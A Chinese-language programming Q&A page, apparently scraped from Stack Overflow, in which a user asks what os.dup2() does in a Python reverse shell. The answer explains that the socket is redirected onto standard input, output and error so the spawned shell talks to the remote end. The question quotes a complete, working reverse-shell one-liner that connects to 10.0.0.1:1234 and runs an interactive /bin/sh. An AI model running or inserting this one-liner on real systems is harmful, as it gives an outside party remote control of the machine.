Skip to main content
 首页 » 编程设计

python之当与套接字一起使用时,os.dup2() 在 python 反向 shell 中做了什么

2025年05月04日21sharpest

import socket,subprocess,os; 
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); 
s.connect(("10.0.0.1",1234)); 
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); 
p=subprocess.call(["/bin/sh","-i"]); 

我知道这会创建一个连接到端口 1234 上的 10.0.0.1 的 TCP 套接字。不过我有一个问题。

os.dup2() 在这种情况下做了什么?我知道它们与文件描述符有关,0 是 STDIN,1 是 STDOUT 和 2 是 STDERR,但我不知道它在这里做什么。

请您参考如下方法:

它以一种为子进程保留的方式将套接字重定向到/从 stdin/stdout/stderr。即,当代码执行 /bin/sh 时,shell 会继承重定向并通过套接字与远程用户通信(甚至不知道它)。

参见 os docs .